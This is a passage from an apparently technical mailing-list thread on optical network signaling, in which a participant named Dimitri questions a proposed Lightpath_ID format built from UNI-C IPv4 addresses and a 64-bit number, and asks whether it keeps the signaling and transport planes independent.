within the optical network. Lightpath_ID object has the > > following > > format: > > - IPv4 source address: This is the address (32 bits) for > > the source > > UNI-C who originates the lightpath. > > - IPv4 destination address: This is the address (32 bits) > > for the > > destination UNI-C who terminates the lightpath. > > - Ligthpath number: This is the unique identifier (64 > > bits) in the > > network to be associated with the lightpath. > > > > > > Questions are the following: > > > > I think that carrier identifier means 'optical network > > identifier' not the > > client network (so the UNI-Client address should not be the > > included > > within the lightpath ID) ? > > > > Secondly i do not understand why the ONE has to assign an IP > > address belonging > > to the signaling plane. Imagine that the address space of > > the signaling plane > > (i.e. control plane) changes then you have to change all the > > identifiers of > > the lightpaths (or connections) which by definitions are > > included within the > > transport plane. This solution does not guarantee the > > independancy between > > the signaling and the transport plane. Do you agree ? > > > > Imagine that you may use the UNI-C as identifier, then I do > > not understand why > > you need to include the destination UNI-C IP address within > > the lightpath ID. > > Moreover, how do you know the relationship between UNI-C and > > the destination > > client address (or name) ? > > > > Regards, > > > > Dimitri. > > >